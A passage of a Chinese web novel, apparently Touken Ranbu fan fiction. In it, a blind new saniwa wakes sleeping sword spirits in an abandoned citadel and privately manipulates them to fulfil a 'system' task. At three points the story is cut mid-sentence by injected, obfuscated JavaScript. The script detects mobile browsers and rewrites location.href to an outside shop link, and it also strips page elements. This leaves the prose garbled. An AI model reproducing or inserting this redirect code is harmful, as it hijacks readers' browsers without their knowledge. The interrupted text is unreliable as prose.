他能感受到乱藤四郎的急迫,却不戳破。 家人啊…… 绫小路望理解不了乱藤四郎口中对同刀派就是家人的解释,没有相处过也可以算家人吗? 但他尊重。 “等看完刀账,乱想先看到哪位兄弟?” 绫小路望不喜欢沉默,在去天守阁的路上主动发起了话题,“乱应该记得其他人都在哪里沉睡吧。” 如果乱藤四郎不记得了,他们就只能在本丸一个角落一个角落得找刀了。 “诶?” 乱藤四郎有些差异,没想到绫小路望会这么询问,当下便纠结了起来,“兄弟啊……” “一期尼、药研、退、鲶尾、骨喰、信浓……”一个个名字被乱藤四郎说出,从声音上就能听出他的犹豫。 这么多人啊。 听出话中的纠结,绫小路望笑出了声:“乱很喜欢自己的兄弟吧。” 根本区分不出先后顺序呢。 “当然啦,毕竟是兄弟嘛。”绫小路望感觉自己的手臂被乱藤四郎抱得更紧了一些,乱藤四郎的声音在绫小路望耳边响起,“乱也很喜欢审神者大人呢。” 刀剑男士虽然有人形,但他们并没有活物才有的温度,接触时是冰凉的,锐利的。即使贴在耳边,也感受不到伴随着的温热气息。 “可是乱昨天才认识我,就把我排到这么靠前了吗。” 绫小路望笑了笑,并没有把这句话放在心上。 “审神者大人是不一样的。”乱藤四郎很认真地反驳着绫小路望的话,“我是刀剑男士,是因为审神者大人的灵力才能站在这,审神者大人对我是很重要的存在。” 绫小路望没有接话。 “嘛,兄弟总会到的。”乱藤四郎最后还是没有纠结出答案,不如说这才是最好的答案,“而且灵力使用过度的话,审神者大人会难受,我也会心疼的。 ” 看着绫小路望无神的双眼,乱藤四郎垂眸。 审神者大人看不到啊……好可惜,如果审神者大人能看到他的话,会更喜欢他吗? 长发的他应该会很容易被区别出来吧。 数珠丸恒次、鲶尾藤四郎等人的面孔在脑海一闪而过,乱藤四郎犹豫了一下。 呃……应该吧? 摇摇头,乱藤四郎把这些想法从脑子中踢出去。 刀账被放在天守阁顶层。 “……我之后要住在这里吗?”不知道踏上了多少级台阶,绫小路望示意乱藤四郎放慢速度。 “如果不方便的话可以跟我们住。” 似乎是觉得这话有些歧义,乱藤四郎解释道,“刀剑男士的部屋都是在一起的,也有属于审神者大人的房间。” “但上一任审神者觉得我们需要有私人空间,天守阁可以直接观察本丸的整体情况,独立的建筑方便保管刀账,所以就住在那了。” 想到什么,乱藤四郎笑了,撒娇道:“其实我们很乐意和审神者大人亲近。” “等下我带您去我们那收拾一个房间出来吧。” 5. 刀账 乱藤四郎说,刀帐是除了契约装置之外,审神者和刀剑男士紧密联系的另一个体现。 刀剑男士和审神者可以通过刀帐互相连接、感受,是一个双向的过程。 但时之政府当初怕有些刀剑男士过于自傲,不服从审神者的命令,于是规定刀帐由审神者保管,非意外情况刀剑男士是不允许触碰的。尽管这项规定因为一些原因被废除了,但成为了审神者和刀剑男士之间心照不宣的默契。 毕竟总有内心敏感多疑的审神者。 符合条件的审神者并不多,数量不允许时之政府再对其进行排查,只能尽量避免。好在,多数审神者都是为了守护而来。 审神者群体和刀剑本灵之间就有了这样的约定。 一方不主动触碰刀帐,奉上忠诚。 一方代为保管,时刻关心刀剑男士的状态,紧急时刻也会把刀账交给武力值更高的刀剑男士保管。 刀帐现在被存放在天守阁顶端就是最好的证明。 或许是上一任审神者知道自己会出事,提前一步对放在天守阁内的刀帐施加了封印,并吩咐当天的近侍守好天守阁。 一说起这些,乱藤四郎又想哭了。 失去了审神者的本丸,灵力只会越来越少。为了让本丸的防御多存在几日,其他人都选择进入沉睡,留一振所需灵力最少的短刀以人身保护这个地方。 当时,作为这个本丸中第一个到达极化99的短刀乱藤四郎,同时也是这个本丸的初锻刀,除了初始刀之外最熟悉本丸的,在经过多方讨论,成为了那把清醒的刀。 大家不想让留下来的人太过悲伤,便分了批次陆陆续续进入沉睡,先是大太刀、枪、太刀……所需灵力最少的短刀选择多陪乱藤四郎一段时间。 他们选择了不同的地点进入沉睡,有的在万叶樱下,和本丸一起感受一年四季,掩在泥土之下;有的在室内,在大广间,在室内,和自己关系最密切的刀一起沉睡。 他们不约而同得在本丸的不同角落变回本体,留下线索,等待乱藤四郎某一天惊喜地将他们找出。 “这是一个责任。”乱藤四郎记忆里的一期一振在说这句话是眼含泪水,带着无尽的悲伤,“但是乱,不喜欢可以拒绝的。” 虽然同样不舍得一个人留下,但乱藤四郎还是强迫自己打起精神,反过来安慰一期一振:“没关系的,一期尼,我会保护好这个地方,也不会让这个本丸中的任何一个刃受到伤害。” “我会带着你们那份等到下一位审神者的。” 话是这么说,但乱藤四郎知道这很难。他们本丸的评分太高了,时之政府不会派一般的人来担任审神者。而那些有天赋的人又容易自视清高,看不上他们这个二手本丸。就算愿意来,也不会是容易相处的审神者。 乱藤四郎静静地坐在树下,能够看见的人影越来越少,直到整个本丸变得一片死寂。无人打扫的角落落了灰,结了网。 有时候他会学着同伴的语气把自说自话,仿佛同伴们都还没沉睡,一直陪伴在他身边。 最开始狐之助还会来,催促着乱藤四郎给时之政府发通讯,赶紧派一个审神者来接手。 但乱藤四郎不想要一个随随便便的人来担任他们的审神者,这是对同伴的不负责,同时,也是对审神者的欺骗。 但是绫小路望全部都答应了,不是被他哄骗成为审神者的,是自愿的。 乱藤四郎不知道为什么绫小路望会在身边没有狐之助的情况下来到这里,并且对时之政府一无所知,但他能感受到绫小路望身上的灵力。 这就够了。 来到他们这里,就要成为他们的审神者,不能再离开了。 被绫小路望的灵力接手后,刀账周围的封印就像不曾存在过一般,没有任何阻力地来到了绫小路望的手中。 粗糙的,破损的封面。 或许还要加上泛黄? 绫小路望想到,虽然不知道刀账的封面是什么颜色的,但纸张放久了都会泛黄吧,时间会在所有事物身上留下痕迹。 “第一页就是审神者大人的信息了,请在右下角摁上手印。”乱藤四郎没有触碰刀账,而是选择在一旁口头指导。 绫小路望摸着边缘:“是这吗?” 他将导盲杖倚在桌子边缘,想要从桌面上摸到类似印泥的存在,但被乱藤四郎阻止了。 “使用灵力就好,审神者大人,一切灵力都会在刀账上留下痕迹。” 绫小路望依言照做。 当时是推的,现在应该也用推就行了吧。 这么想着,放在刀账上的大拇指用力往下一摁,下一秒,无数信息传入绫小路望的脑中—— 室内、室外,整个本丸的轮廓都被灵力勾勒,虽然具体细节有些模糊,但绫小路望终于知道本丸长什么样了。 后山,河流,沙滩,大海。 好大! 绫小路望不由得惊叹。 这就是看得到的感觉吗? 对了! 绫小路望对着乱藤四郎所在的方向侧头,想要“看”清楚乱藤四郎的样子。 但让他失望的是,他连人形的轮廓都不看不见,只能看见一个小光团漂浮在空中。 绫小路望能感受到,光团和他同源。 他恍然大悟,这应该就是在乱藤四郎体内的他的灵力了,用这种方式告诉他面前有一位他本丸的刀剑男士吗? 怪不得说本丸是依托审神者灵力运作的,审神者对本丸的掌控力很高,原来如此。 沉浸在新世界,并且看不清表情的绫小路望并不知道,从他摁下手指之后,乱藤四郎的视线再也没离开过刀账一下,死死地盯着上面的内容,身体微微颤抖着,用双手捂住自己的嘴,不敢发出声音生怕被绫小路望注意到。 怎么会…… 乱藤四郎有些不敢置信。 是巧合吗? 只出现了一瞬间的那个名字…… 绫小路望的声音打断了乱藤四郎的思绪:“我能看见本丸了!” 他的声音终于染上了雀跃,真情实感的话让绫小路望看起来比之前真实了许多。 系统没骗他! 绫小路望直接无视了前几次系统等不理人,想的全是他离目标更近了一步。 所以,成为审神者可以帮助他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520961|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见光。 绫小路望突然就在心里确定了这一点。 仅仅是给这个本丸输送灵力,就可以看见轮廓,那如果他把所有刀剑男士都唤醒呢? 会不会就可以真的看见了? 决定了! 下一个小目标就是唤醒刀剑。 系统定的任务太笼统了,绫小路望更喜欢跟着具体的小目标行动。 绫小路望兴致勃勃,兴奋压过了灵力从体内流失出去的不适感,也忽视了乱藤四郎的有些心不在焉。 或者说,绫小路望懒得理会。 别看他表面上一副知心大哥哥的样子,说到底绫小路望对审神者这个身份到现在还没有实感,他只是想完成系统的任务。 他只是想实现愿望,在不违背他到道德底线的情况下,不择手段。 不过是顺着乱藤四郎的话说下去而已,对绫小路望不会产生任何损失,还能换来一个照顾他的人。 “我们去收拾房间吧,乱。”人生第一次,绫小路望把导盲杖给了别人,他扶着墙壁,低头“看”这脚下,踏出了第一步。 结实的台阶传来的触感让绫小路望很激动。在他的脑中,每一级台阶都能被他看到,属于乱藤四郎的光团在他身后,绫小路望并不怕撞到人。 刀账被他留在了天守阁。上面的封印很简单,对着阵眼睛输入灵力就可再一次开启,绫小路望将灵力覆盖了上去。 虽然很激动自己可以“看见”本丸,但绫小路望对刀账本身其实没有太多想法,既然天守阁已经守护刀账这么多年了,那就一直维持下去吧。 他不适合保护东西,绫小路望想。 ……嗯? 难道他以前有保护过什么东西吗。 走下楼梯,疲惫突然袭来。 绫小路望意识到他今天不能唤醒其他刀剑男士了,灵力空虚,身体已经在给他发出警告。 不能再强求了。 绫小路望问乱藤四郎拿回了导盲杖。左手空荡荡地,他一时半会儿有些不习惯。虽然能够看清前方的障碍物,但果然还是要听着敲击声才能安心。 乱藤四郎早就整理好了自己的情绪,不知从哪里翻出还未拆封的口罩让绫小路望带上:“审神者大人请在这里等我,收拾好了我会通知您。” “我可以帮忙。”绫小路望说,“我现在可以看见建筑物了。” “您今天已经很累了,需要休息。”乱藤四郎用一个不会伤害到绫小路望的力道把他摁在擦干净的椅子上,“需要您一起收拾是我的失职。” 听完这话,绫小路望没有不答应的理由。 能休息为什么不休息? “辛苦了,乱。”就在乱藤四郎拿着清洁工具离开之前,绫小路望突然想起一件事,叫住了他,“可以顺便帮我找一块布吗,我总不能一直把眼睛露出来。” 乱藤四郎没有多问:“我知道了,审神者大人。” 能看到本丸的轮廓不代表他可以看到天空的变化,除了由灵力构成的线,绫小路望眼中的世界依旧是黑的。 他只能感受到洒在手臂上的阳光愈来愈热。 正午了。 6. 刀剑 中午依旧是乱藤四郎做的。 毕竟总不能指望绫小路望吧。 乱藤四郎离开了二十分钟,再回来时手上拿着已经处理好的鱼。找了一处干净平整的地方,把细树枝堆在一起,生火准备复刻了早晨绫小路望吃过的烤鱼。 不多时,鱼肉的鲜香便混着炭火的焦香,在空气里慢慢散开,勾得人食欲微动。 “要不我们先唤醒烛台切殿吧,审神者大人,他会做很多种饭。” 并肩坐在一起,陪着绫小路望一起啃鱼,乱藤四郎嚼着肉,腮帮子微微鼓起,含糊不清地开口,“总不能让您顿顿吃烤鱼。” “烛台切殿?” 绫小路望微微偏头,循着声音来源看去。他对历史掌握得一知半解,更别提刀剑的名字和典故,只能静静等待乱藤四郎为自己解惑。 谁知坐在他身边的刀剑突然收回了话头,调皮地卖起了关子,故作神秘道:“烛台切光忠,不过他应该更想亲自跟您介绍。” 乱藤四郎的声音里带着狡黠的笑意。 听着这番话,绫小路望突然觉得自己可以稍稍期待一下。 做饭很好吃的刀,真是一个格外特别又充满烟火气的评价。 绫小路望完全没想过,本体是冷兵器的他们,居然还会有擅长这方面的刀剑存在。 难不成本体是菜刀? 是因为以前被厨艺高超的人使用,所以在耳濡目染之下,化为人形后也十分擅长做菜吗。 可是如果是菜刀的话,该怎么上战场呢? 满心的好奇按耐不住,绫小路望开口轻声询问:“那可以跟我描述一下烛台切光忠的本体吗?我们该怎么找到他。” “烛台切殿是太刀哦,刀身精致,刀纹上有许多稻穗,刀纹内部被一把很横放的刀上下分开。” 乱藤四郎依照回忆,细细描述,“审神者大人虽然看不见,但您已经和本丸签订了契约,可以通过灵力感知到本丸哪些地方有刀剑本体,我们慢慢找就好了。” 似乎是担心真的找不到,乱藤四郎补充了几句:“实在找不到的话……小豆殿和歌仙殿也行,再不济我记得药研也会做饭。” “总之,肯定能让您吃上除了烤鱼之外的热乎菜。” “药研?我记得是乱的兄弟吧,叫……药研藤四郎?” 得到乱藤四郎肯定的回答后,绫小路望故意问道,“那我们第一个找药研怎么样?” “虽然我很想答应啦——”乱藤四郎拖长了尾音,软软地撒娇道“我们本丸的药研更擅长做营养餐,审神者大人吃得惯的话我不介意哦。” 那还是算了。 绫小路望当即就打消了这个念头。 以前绫小路望懒得思考吃什么的时候,曾经连续吃了半个月的沙拉,从此以后再也没碰过类似的食物。而且营养餐这个词听上去就让人感觉嘴里没味,半点食欲都提不上来。 人还是对自己好一点比较好。 “审神者大人快去休息吧,下午我们一起找刀。” 绫小路望听到乱藤四郎正在收拾的声音,不由得开口:“还要休息吗?” 他感觉自己都没怎么动过。 继续休息的话,总觉得会有些心虚。 或许是真的天赋异禀吧,在吃完饭后,绫小路望可以清晰地感受到自己体内的灵力正在慢慢恢复,如今已然充沛,再输出几次也没有任何问题。 乱藤四郎闻言,动作顿了顿,有些尴尬地笑了一下:“就是……好久没人住过了,不打扫一下的话可能会绊倒审神者大人。” 所以是要趁着自己休息的时间打扫整个本丸吗? 绫小路望瞬间了然。 但会不会太累了。 刀剑男士的精力还真是充沛啊。 刚才乱藤四郎询问了绫小路望有关他现在能看到多少,他也如实回答。只能看见大概的地形轮廓和知道有多少刀剑,除非特意查案,其余的小细节他的灵力很难感应。 至于其他人,绫小路望还没有在这里见过其他人,他也不知道能不能感受到。 感受不到也没事,之前十几年他都是这么过来的,这点不便不算什么,他早就习惯了。 * 午后阳光正好,一人一刀正式开启了寻刀之行。 说是一起找,其实是乱藤四郎猜了几个烛台切光忠可能会沉睡的地点,带着绫小路望过去等待他指出刀剑的具体方位。 变回本体的刀剑在绫小路望的世界中是更加微弱的光点,稍不注意就会被归位建筑轮廓忽视。绫小路望从来没有体验过看见世界的感觉,心底满藏新奇和雀跃,兴致勃勃地一点点分辨着。 左右消耗的是他的灵力,又不会影响到视力。再说了,就算真的会影响视力也没关系,难道他的视力还能更烂吗。 绫小路望简直要被自己地狱到了。 他的思维很活跃,毕竟这是在一片黑暗之中为数不多可以打发时间的事情了。 大概是心里太过惦记着让审神者吃上丰盛可口的饭菜,赶紧摆脱顿顿烤鱼的单调,乱藤四郎第一个带他前往的,就是本丸的食堂。 ——当然,这里一把刀也没有。 到底有谁会选择睡在食堂啊! “万一呢,万一烛台切殿想要守护本丸的食物……”这话乱藤四郎自己说着都心虚,这话他连自己都说服不了,声音越来越微弱,头也不自觉地低了下去。 “你再这么说,我可要开始怀疑烛台切光忠到底是一个什么样的形象了。”绫小路望打趣着。 二人折返,来到大广间。 这一次,他们在大广间收获了两把刀。只可惜,都不是他们想要找到的烛台切光忠。 是太刀三日月宗近和太刀鹤丸国永。 两把刀剑本体,静静地躺在大广间的桌案底下,被阴影遮掩着,毫不起眼。 看到这两把刀的时候乱藤四郎还有些惊讶,但转念一想他们平日里的形式风格,又觉得倒也合理,本就该是他们会做出来的事情。 “审神者大人拿的动吗?”乱藤四郎看着因为有一只手要握住导盲杖的绫小路望,问道,“实在不行就把他们放着吧,等下回来再说。” 听到这话,绫小路望有些疑惑:“不唤醒吗?” 他还以为乱藤四郎会很激动,马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520962|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就想让他唤醒刀剑,见到同伴。 “不,这个时候把他们两位唤醒只会在打扫本丸的时候添乱。” 乱藤四郎说这话时是带着笑意的,他凑近绫小路望,“太刀所需灵力和短刀是不一样的,而且我还想继续单独霸占您的时间呢。” 最后一句是在绫小路望的耳边轻声呢喃的。 这是实话。 乱藤四郎其实很享受现在的时间,身体有缺陷的审神者只能依靠自己一个人。等同伴都醒来后,他就就不能独占了。 “真会撒娇啊,乱。” “所以要喜欢我哦,审神者大人。”将两把太刀放到桌子上后,乱藤四郎在前面一蹦一跳地带路,语气欢快又期待,“我们去伊达组的部屋吧。” 路上,乱藤四郎不忘跟绫小路望解释缘由。 虽然烛台切光忠属于长船,但因为来的早所以和伊达组的几位住在一起。同为伊达组的鹤丸国永和三日月宗近沉睡在大广间的话,那么守护者伊达组部屋的应该就是烛台切光忠了。 果不其然,绫小路望在伊达组的部屋发现了三个靠在一起的小小的光点。 短刀,打刀和太刀。 那把太刀就是烛台切光忠了。 “先把他们带到大广间?”拿着找也不方便,伊达组的部屋离大广间不算远,绫小路望不介意往返。 “嗯!”乱藤四郎点头,主动将三把刀间轻轻抱在自己怀里,小心翼翼地护好,“我们回去吧,审神者大人。” 绫小路望听出了乱藤四郎的意思:“不再找了吗?” 这就够了吗? 他们才搜寻了两个地方。 绫小路望想,乱藤四郎出乎意料地很有耐心,完全不心急。 果然是因为一个人等待了太久吗。 乱藤四郎回忆道:“前任审神者刚来本丸的时候,为了赶紧凑齐出阵和远征两个队伍,一口气唤醒了七位刀剑男士出来,昏睡了三天才醒过来,把我们吓坏了。” “时之政府的医生过来检查之后,告诉我们是因为前任审神者过度使用灵力。所以我不希望审神者大人您也昏迷。” 况且绫小路望不知道,白日里他使用灵力之后,不仅走路有些无力,连面色都是苍白的。要不是着急查看刀账,绫小路望也能正常走路,乱藤四郎早就让他去休息了。 这也是中午乱藤四郎坚持让绫小路望去休息的其中一个原因。 有前车之鉴在,总是要更小心一点。 绫小路望对乱藤四郎谈起前任审神者没有感觉,只是点点头:“这样啊,那我们先唤醒两把刀?乱有推荐的人选吗。” “烛台切殿和太鼓钟吧。”想了想,乱藤四郎说道,“太鼓钟也是短刀。” 言下之意就是耗费不了太多灵力。 感觉自己被当成瓷娃娃了。 “好。” 说这话的时候,他们已经走回大广间了。 盘腿坐在榻榻米上,接过乱藤四郎递过来的两把刀,绫小路望一手端着一把,将灵力送入———— 下一秒,手中的重量消失,绫小路望发现身前多出了两个耀眼的光团。 7. 谈心 ——“前往仙台学到了真正帅气的烛台切光忠,今后会为了给大家留下印象而帅气的表现哦。” ——“我是太鼓钟贞宗,怎么样,特别华丽帅气吧!” 两道声音一前一后响起。 “sada酱!”烛台切光忠这才注意到跟自己一起被唤醒的刀,顿时有些惊喜,“好巧。” “我也这么觉得!”太鼓钟贞宗用力点头,转向绫小路望所在的方向,“您就是新任审神者吗?” “我是,请问有什么事吗。”绫小路望没有错过太鼓钟贞宗语气里的疑惑。 “审神者大人您确定要来我们本丸吗,看不见东西出任务会很危险,是不是有谁把您欺骗了过来?” 刀剑男士就是这样,即使在无数的岁月中已经见过不知多少丑恶的人性,化为人形后还是会下意识关心审神者。 “太鼓钟殿可不要乱说话。”乱藤四郎可听不得这话,毕竟是他让绫小路望留下来的,可不能让绫小路望对他产生什么坏印象。 烛台切光忠怕他们吵起来,先一步打圆场:“嘛,小贞他也只是关心,毕竟我们的新审神者看上去有些特殊。” 绫小路望拍拍手,将正在说话的几人的注意力转到他身上:“如你们所见,我是一个瞎子,但我是主动留在这里的哦,没有被哄骗,也没有被任何人逼迫。。” 想了想,他又加了一句:“谁劝都没用,而且我已经和本丸签订契约了。” “诶——审神者大人可真是任性啊。” “小贞!”烛台切光忠赶紧打断,同时有些紧张地对绫小路望解释,“抱歉审神者大人,小贞的性格有些过于活泼了。” 是担心他会觉得被太鼓钟贞宗冒犯而发怒吗? 绫小路望第一次在刀剑男士身上感受到了不同的态度。 乱藤四郎和太鼓钟贞宗对他都是亲近的,包括刚才那句话也是,只有太鼓钟贞宗觉得他们是家人,才会说出开玩笑的话来。 烛台切光忠虽然对他也是亲近热情的,但那份被藏在下面的警惕总会被发现。 也是,毕竟他是新来的,是第二任,不警惕才奇怪吧。 绫小路望在心里帮他们找好了借口,面上不动声色:“没关系,我不介意的。” “小贞是一个可爱的孩子呢。”他选择了烛台切光忠的叫法,拉进与他们的距离,“很少与人会这样陪我聊天,我很开心。” “那我以后每天都要陪审神者大人聊天!” 还不等太鼓钟贞宗说话,乱藤四郎反应了过来,先一步开口,“审神者大人千万不要嫌我吵哦。” 此时不刷存在感更待何时刷! 乱藤四郎不动声色地扫了另外两把刀一眼,想,等人多了可就没这机会了。 一振烛台切光忠就够了,再不济把歌仙殿找到唤醒,其他的刀比如长谷部殿什么的都给我老老实实待在角落里积灰吧! 太鼓钟贞宗看着站在绫小路望身边的乱藤四郎,眨眨眼。 怎么感觉……乱的身后有一大团黑气,是他的错觉吗? “如果乱能跟我每天的风景我会很感谢。” 其实并不。 比起每天定时定点聊天,绫小路望更希望自己一个人待着,偶尔聊聊天差不多了。 只待在本丸内,每天看到的风景都一模一样,长久下来也会厌烦,就不会来找他了。 绫小路望觉得自己真厉害,既不会让他难受,又没有扫了乱藤四郎的兴。 ——此时的绫小路望完全遗忘了乱藤四郎之前介绍的内容,刀剑男士需要进行出阵和远程,并不是只用待在本丸内。 “我记住啦,审神者大人。”乱藤四郎笑嘻嘻地答道,“审神者大人现在感觉怎么样,还有力气吗?” 乱藤四郎不说,绫小路望都忘了这事。 “……我好像一点感觉也没有?”他的语气有些犹豫,“要不我把剩下的刀剑都唤醒好了。” 还剩三把,不知道为什么,绫小路望感觉他还能唤醒不止这些。 “请一把一把来,审神者大人。”乱藤四郎的语气不容置喙。 “请问审神者大人可以唤醒小伽罗吗?” 听到绫小路望和乱藤四郎谈话的内容,太鼓钟贞宗看了看平放在桌子上的三把刀,忍不住插话,“我们伊达组很厉害的,唤醒小伽罗绝对不会让审神者大人失望的。” 太鼓钟贞宗口中的小伽罗是大俱利伽罗,从伊达组部屋中找到的打刀。 是一个很喜欢为自己亲近的人争取机会的刃呢。 绫小路望对太鼓钟贞宗生起了一些好感,他不排斥这样的人。 “好。”绫小路望轻轻点头,伸出手,“那就麻烦小贞了。” 太鼓钟贞宗走上前,将那振大俱利伽罗放在绫小路望手中,输入灵力后就响起了有些低沉的声音, “我是大俱利伽罗。” 自我介绍就这样结束了。 绫小路望有些诧异:“就说这些吗?” 大俱利伽罗低头沉默,顶着身后烛台切光忠和太鼓钟贞宗炽热的眼神,似是有些不情不愿地挤出几个字:"被使用的时候会是一把好刀,上战场的时候请带上我。" 这话说出口后,大俱利伽罗明显感觉身边空气短暂停滞了一瞬,有些疑惑地抬头,这才发现他的新任审神者脸上蒙着一条黑布。 意识到自己说错了话,大俱利伽罗连忙补救:“我是说,我会为您带来胜利。” 都有些不像自己了,小伽罗。 烛台切光忠站在后面有些好笑的想,经历过刚才事情的他丝毫不担心大俱利伽罗会冒犯绫小路望,很没有同伴情地看着大俱利伽罗的笑话。 看见大家都不排斥新来的审神者,烛台切光忠在心里暗暗松了口气。 “我会期待着。”绫小路望不知道自己还能说什么,只好面带微笑地应了下来。 性格好有特色! 好像知道这是一位什么样的刃,要是能够看到就好了。 绫小路望的表情完全看不出内心的沮丧,在确认后,对在场的四位刀剑男士表示还能继续。 很快,绫小路望就如法炮制地唤醒了最后两振本体刀。 跟前三位不同,这两位刀剑男士出场时,绫小路望感觉自己的脸被无数花瓣攻击,鼻尖传来淡淡的痒意。 这是什么? 花精灵吗? 忍住自己想要打喷嚏的冲动,没有听到自我介绍的绫小路望歪头:“你们好?初次见面,我是新就任的审神者。” “哈哈哈,审神者大人先开口,还真是有些失礼了,你说是吧,鹤丸。”爽朗的笑声从左边传来。 “我名叫三日月宗近,天下五剑之一,嗯……也被称为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520963|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最美的剑呢。诞生于十一世纪末,对审神者大人来说或许是个老爷爷了,哈哈哈。” 好魔性的笑声。 仅仅只是两句话,绫小路望就对三日月宗近有些印象深刻了。 他的人设不会是一直这么笑吧,好奇怪。 “被审神者大人当成奇怪老爷爷了,三日月。” 或许是绫小路望没控制好自己表情,被三日月宗近称作鹤丸的陌生的声音自右边来, “那么,接下来轮到我了,对吧。” 明明是疑问句,但鹤丸国永并没有给出让其他人回答的时间,而是自顾自说了下去,“我是鹤丸国永,曾经辗转于不同的人之间。现在已经前往过镰仓,审视过了自我风格,我会为您带来更多惊喜。” “毕竟一成不变可是会像死了一般哦。” 绫小路望给出的还是那句话:“我会期待着。” 感觉是在期待自己以后鸡飞狗跳的生活。 突然有一种好心累的感觉,是错觉吧。 “既然都结束了,大家等下就跟我一起去整理本丸。晚饭要靠烛台切殿了,上午我从后山抓了一些鱼,其他菜明天再一起去后山找。” 乱藤四郎见绫小路望身体没有不适,很自然地发出指令。 他是最先发现审神者大人的,就让他当几天近侍吧,原来的近侍大人。 “好哦好哦,好久没见到小乱这么有精神了。”原来的近侍·鹤丸国永没有任何意见。 “好久不见,鹤先生。”烛台切光忠很自然地上前打招呼。 “光访!”鹤丸国永眼睛一亮,“小贞和小伽罗也在,好久不见!” 拥抱过后,鹤丸国永很自然地混入他们之中,说说笑笑,余光却一直没有从绫小路望身上离开过。 看了看鹤丸国永所在的位置,三日月宗近了然,上前一步,轻声询问:“老爷爷可以坐在审神者大人身边吗,一直站着有些累了。” 骗人。 乱藤四郎的精力不知道好成什么样了,同为刀剑男士的三日月宗近怎么可能站一会儿就累了。 虽然心里这么想,但绫小路望还是点头同意。 “审神者大人为什么会来我们这?” “接手这样一个本丸,一般的人都会觉得很麻烦吧,本丸评级早已固定,被分配的任务也很多,还需要审神者本人亲自执行。” 三日月宗近也没绕弯子,在调整了二人距离后,直接说道,“毕竟老爷爷要对大家负责,该问的重要问一声,审神者大人不必太过紧张。” 终于来了! 绫小路望打起了精神,在脑中构思着回答。 ——他来当审神者是因为系统想让他当,他听系统的话是因为想要能用眼睛看见这个世界。 ——他像个傻白甜一样答应跟系统做交易,然后就来到这里,成为审神者是为了完成任务。 这种解释怎么能说出去! 绫小路望不知道审神者到底是一种什么样的职业。但这个称呼太过高大上,让他不自觉地生出几分敬畏。 像他这样带着目的而来的人有资格审神吗? 到现在绫小路望都不知道时之政府寻找审神者的标准有多么松弛。 到底该怎么说呢…… 绫小路望半天编不出一个何时的理由。 于是他决定实话实说。 8. 麻烦 “我不知道你们变回本体的时候能不能感受到外面发生的一切。” 他本就目不能视,自然没有转头朝着身侧三日月宗近的方向说话,只是安静地垂着眼。绫小路望不知道自己此时该露出什么样的表情,才不会被身边人发现异样。 三日月宗近的态度让他感觉到有一丝棘手。说话语气笑眯眯的,看似随意,可绫小路望偏偏对这类人最为警惕。 语气是可以作假的,他看不见表情,所以只能相信声音。 这很可能会在不知不觉中让他放松警惕,然后落入对方话中的圈套。 “能感受到一点。” 三日月宗近端坐在一旁,周身透着岁月沉淀下来的温润气场,闻言缓缓颔首,语气依旧是那副不紧不慢的节奏,带着几分悠然,“审神者大人的灵力……很温暖。” 似乎是纠结了一下该如何描述,但最后三日月宗近只能给出一个模糊的形容词。 这算是对他的夸奖吗? 那他先收下了。 没有过多纠结,绫小路望接着说:“我是误入这里的,身边也没有所谓的狐之助,时之政府的人也从来没有碰见过。” 这些事情,即使他不主动说,乱藤四郎也会说,刀剑男士也会在相处过程中发现他对这些完全是一片空白的状态,索性主动坦白,反倒能少几分刻意多几分真诚。 “哦?” 三日月宗近没想到还有这茬,微微挑眉,似是有些惊讶,语气里却多了几分探究,“乱那个孩子没有帮审神者大人联系时之政府吗?” “请不要怪乱,是我主动留下来的。” 毕竟算是被自己利用了,绫小路望不希望其他人对乱藤四郎产生误会,语气也认真了几分,“当时我被困在后山,没有水和食物,又什么都看不见,如果不是乱及时出现把我扶住,或许我现在早已变成本丸的一部分了。” “还请审神者大人不要这么说自己。” 三日月宗近骤然打断了绫小路望的话,眉眼微微敛起,语气中也多了一丝严肃,“我们并不希望您只是因为为了报答救命之恩才留下。当时不管是谁在场,都会出手相助,保护审神者也是刀剑男士的责任之一。” “绝非是因为需要您留下提供灵力而出手的。” “是因为我看不见所以怜悯我,嫌弃我吗?” 闻言,绫小路望心底瞬间有了主意,“我明白的,我不是你们想要的可以带着你们一起出阵的审神者,不仅如此你们还要分心保护我,给你们添麻烦。” 刻意放轻语气,带着几分不易察觉的低落与自嘲,绫小路望的声音轻飘飘的。 天哪,我真茶。 绫小路望低着头,死死压住嘴角的笑意,不让三日月宗近察觉到他的真实想法。 三日月宗近愣住了,眼睛微微瞪大,语气透着几分无措:“不……绝对没有这个意思……” “我已经没有其他地方可以去了。”绫小路望顺势说道。 一击必杀! 这句话彻底打破了僵局。 绫小路望话音刚落,身边的三日月宗近一下子站起身,“老爷爷还有些琐事需要帮忙,先行告退,审神者大人请好好休息。” 代表三日月宗近的光团很快消失在了绫小路望的“视线”中。 啊,终于解放了。 绫小路望想。 